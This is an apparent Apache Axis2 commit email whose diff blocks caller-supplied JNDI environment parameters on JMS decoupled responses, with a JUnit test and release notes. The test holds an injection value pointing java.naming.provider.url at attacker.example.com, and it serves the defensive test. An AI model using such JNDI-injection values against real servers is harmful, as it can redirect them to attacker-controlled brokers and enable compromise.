This is an automated email from the ASF dual-hosted git repository.

robertlazarski pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/axis-axis2-java-core.git

commit dc51d36ed2867d1c527f12f72dea814cd9a311b6
Author: Robert Lazarski <[email protected]>
AuthorDate: Thu Sep 3 02:23:15 2026 -1000

    Refuse a caller-supplied JNDI environment on a JMS reply
    
    JMSOutTransportInfo hands a jms: endpoint reference's whole query string to 
new
    InitialContext(...), so on a decoupled response -- where that address came 
from
    the caller -- a java.naming.* parameter chose which broker the server 
connected
    to and what it did once connected. Refuse those parameters for that case 
only;
    a client-side send still addresses whatever provider the application asked 
for.
    The existing substring blocklist is left alone deliberately: it screens the
    wrong thing, and widening it is not the fix.
    
    Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
---
 .../AddressingResponseEndpointPolicy.java          |   8 ++
 .../org/apache/axis2/transport/jms/JMSSender.java  |  20 ++++
 .../jms/JMSDecoupledResponseEnvironmentTest.java   | 104 +++++++++++++++++++++
 src/site/markdown/release-notes/2.0.2.md           |   7 +-
 4 files changed, 138 insertions(+), 1 deletion(-)

diff --git 
a/modules/kernel/src/org/apache/axis2/addressing/AddressingResponseEndpointPolicy.java
 
b/modules/kernel/src/org/apache/axis2/addressing/AddressingResponseEndpointPolicy.java
index 654dc16ff1..4e4cbcc411 100644
--- 
a/modules/kernel/src/org/apache/axis2/addressing/AddressingResponseEndpointPolicy.java
+++ 
b/modules/kernel/src/org/apache/axis2/addressing/AddressingResponseEndpointPolicy.java
@@ -190,6 +190,14 @@ public final class AddressingResponseEndpointPolicy {
             // mailto: and JNDI-style jms: addresses name a destination rather
             // than a network host, so there is no address to range-check. The
             // transport behind them has to be enabled by an administrator.
+            //
+            // Returning true here screens nothing about the rest of the 
address,
+            // and for these schemes the query string is not inert: a jms: EPR
+            // carries the JNDI environment used to resolve the destination. 
That
+            // is screened where the meaning of those parameters is known, in
+            // JMSSender, which refuses a caller-supplied java.naming.* on a
+            // decoupled response. Do not read this early return as a statement
+            // that host-less addresses are harmless.
             return true;
         }
 
diff --git 
a/modules/transport/jms/src/main/java/org/apache/axis2/transport/jms/JMSSender.java
 
b/modules/transport/jms/src/main/java/org/apache/axis2/transport/jms/JMSSender.java
index 19cefddad8..8dfad332a7 100644
--- 
a/modules/transport/jms/src/main/java/org/apache/axis2/transport/jms/JMSSender.java
+++ 
b/modules/transport/jms/src/main/java/org/apache/axis2/transport/jms/JMSSender.java
@@ -23,6 +23,7 @@ import org.apache.axiom.om.OMNode;
 import org.apache.axis2.util.MessageProcessorSelector;
 import org.apache.axis2.AxisFault;
 import org.apache.axis2.Constants;
+import org.apache.axis2.addressing.AddressingResponseEndpointPolicy;
 import org.apache.axis2.context.MessageContext;
 import org.apache.axis2.context.ConfigurationContext;
 import org.apache.axis2.description.TransportOutDescription;
@@ -48,6 +49,7 @@ import java.io.IOException;
 import java.io.OutputStream;
 import java.io.StringWriter;
 import java.nio.charset.UnsupportedCharsetException;
+import java.util.Locale;
 import java.util.Map;
 
 /**
@@ -124,6 +126,24 @@ public class JMSSender extends AbstractTransportSender 
implements ManagementSupp
             throw new AxisFault("targetAddress received by JMSSender is not 
supported by this method: " + targetAddress);
        }
 
+        // A decoupled response goes to a destination the caller named, so 
this EPR's
+        // query string is attacker-supplied. JMSOutTransportInfo hands that 
query
+        // string wholesale to new InitialContext(...), where a java.naming.* 
entry
+        // chooses which JNDI provider -- which broker -- the server connects 
to, and
+        // what it does once connected. The destination name is fine to take 
from the
+        // caller; the environment used to resolve it is not. Refused rather 
than
+        // quietly stripped, so that a deployment genuinely replying through a 
foreign
+        // provider names it in its own transport configuration and a caller 
cannot
+        // choose it per message.
+        if (targetAddress != null && 
AddressingResponseEndpointPolicy.isDecoupledResponse(msgCtx)) {
+            for (String name : 
BaseUtils.getEPRProperties(targetAddress).keySet()) {
+                if 
(name.toLowerCase(Locale.ENGLISH).startsWith("java.naming.")) {
+                    handleException("Refusing a JMS decoupled response whose 
endpoint "
+                            + "reference supplies the JNDI environment 
parameter " + name);
+                }
+            }
+        }
+
         if (targetAddress != null) {
 
             jmsOut = new JMSOutTransportInfo(targetAddress);
diff --git 
a/modules/transport/jms/src/test/java/org/apache/axis2/transport/jms/JMSDecoupledResponseEnvironmentTest.java
 
b/modules/transport/jms/src/test/java/org/apache/axis2/transport/jms/JMSDecoupledResponseEnvironmentTest.java
new file mode 100644
index 0000000000..72366cdd81
--- /dev/null
+++ 
b/modules/transport/jms/src/test/java/org/apache/axis2/transport/jms/JMSDecoupledResponseEnvironmentTest.java
@@ -0,0 +1,104 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.axis2.transport.jms;
+
+import junit.framework.TestCase;
+
+import org.apache.axis2.AxisFault;
+import org.apache.axis2.addressing.EndpointReference;
+import org.apache.axis2.context.MessageContext;
+
+/**
+ * A JMS endpoint reference carries the JNDI environment used to resolve its
+ * destination, so where the endpoint reference came from the caller — a 
decoupled
+ * WS-Addressing response — a <code>java.naming.*</code> parameter would let 
that
+ * caller choose which broker the server connects to. These tests pin the 
refusal,
+ * and pin that it applies only to that case: a client-side send addresses 
whatever
+ * provider the application asked for.
+ *
+ * <p>No broker is needed; the refusal happens before any connection is 
attempted.
+ */
+public class JMSDecoupledResponseEnvironmentTest extends TestCase {
+
+    /** An attacker-chosen broker, smuggled in as a reply address. */
+    private static final String EPR_WITH_ENVIRONMENT =
+            "jms:/ReplyQueue"
+            + 
"?java.naming.factory.initial=org.apache.activemq.jndi.ActiveMQInitialContextFactory"
+            + "&java.naming.provider.url=tcp://attacker.example.com:61616";
+
+    private static final String REFUSAL = "supplies the JNDI environment 
parameter";
+
+    private MessageContext decoupledResponse() {
+        MessageContext msgCtx = new MessageContext();
+        msgCtx.setServerSide(true);
+        msgCtx.setTo(new EndpointReference("jms:/ReplyQueue"));
+        return msgCtx;
+    }
+
+    private MessageContext clientRequest() {
+        MessageContext msgCtx = new MessageContext();
+        msgCtx.setServerSide(false);
+        msgCtx.setTo(new EndpointReference("jms:/ReplyQueue"));
+        return msgCtx;
+    }
+
+    public void testDecoupledResponseRefusesCallerSuppliedJndiEnvironment() 
throws Exception {
+        try {
+            new JMSSender().sendMessage(decoupledResponse(), 
EPR_WITH_ENVIRONMENT, null);
+            fail("a caller-supplied JNDI environment must not be honoured on a 
reply");
+        } catch (AxisFault expected) {
+            assertTrue("refused for the right reason, was: " + 
expected.getMessage(),
+                    expected.getMessage().contains(REFUSAL));
+            assertTrue("the offending parameter should be named, was: " + 
expected.getMessage(),
+                    
expected.getMessage().contains("java.naming.factory.initial")
+                            || 
expected.getMessage().contains("java.naming.provider.url"));
+        }
+    }
+
+    /**
+     * The scope control. This send fails too — there is no such broker — but 
it must
+     * not fail as a refusal, or the restriction would be blanket rather than 
aimed at
+     * caller-nominated destinations.
+     */
+    public void testClientRequestIsNotRefusedForCarryingAnEnvironment() throws 
Exception {
+        try {
+            new JMSSender().sendMessage(clientRequest(), EPR_WITH_ENVIRONMENT, 
null);
+        } catch (Exception whateverItWas) {
+            // It will fail -- there is no broker and the sender is not 
initialised --
+            // but it must get far enough to fail for one of those reasons.
+            assertRefusalAbsent("a client-side send must not hit the 
decoupled-response "
+                    + "refusal", whateverItWas);
+        }
+    }
+
+    /** A reply naming only a destination, with no environment, is untouched. 
*/
+    public void testDecoupledResponseWithoutEnvironmentIsNotRefused() throws 
Exception {
+        try {
+            new JMSSender().sendMessage(decoupledResponse(), 
"jms:/ReplyQueue", null);
+        } catch (Exception whateverItWas) {
+            assertRefusalAbsent("naming a destination is allowed", 
whateverItWas);
+        }
+    }
+
+    private static void assertRefusalAbsent(String what, Exception thrown) {
+        String message = thrown.getMessage();
+        assertFalse(what + ", was: " + thrown.getClass().getSimpleName() + ": 
" + message,
+                message != null && message.contains(REFUSAL));
+    }
+}
diff --git a/src/site/markdown/release-notes/2.0.2.md 
b/src/site/markdown/release-notes/2.0.2.md
index 4e5a317b9c..f70bffd089 100644
--- a/src/site/markdown/release-notes/2.0.2.md
+++ b/src/site/markdown/release-notes/2.0.2.md
@@ -38,7 +38,12 @@ in `SECURITY.md`.
   generated reply address is the real external URL. With the feature enabled,
   `allowedResponseEndpointSchemes` permits HTTPS only, the destination is 
screened
   at both the header-parsing and transport-selection layers, and redirects are 
not
-  followed.
+  followed over either the HTTP or the HTTP/2 sender. Where `jms` is among the
+  permitted schemes, a reply endpoint may name a destination but no longer 
supply
+  the JNDI environment used to resolve it: a `java.naming.*` parameter on a 
reply
+  address is refused, since it would let the caller choose which broker the 
server
+  connects to. Deployments replying through a particular provider name it in 
their
+  own transport configuration.
 
 - **Request bodies are bounded.** The `multipart/form-data` and
   `application/x-www-form-urlencoded` builders read the transport stream 
directly,

Reply via email to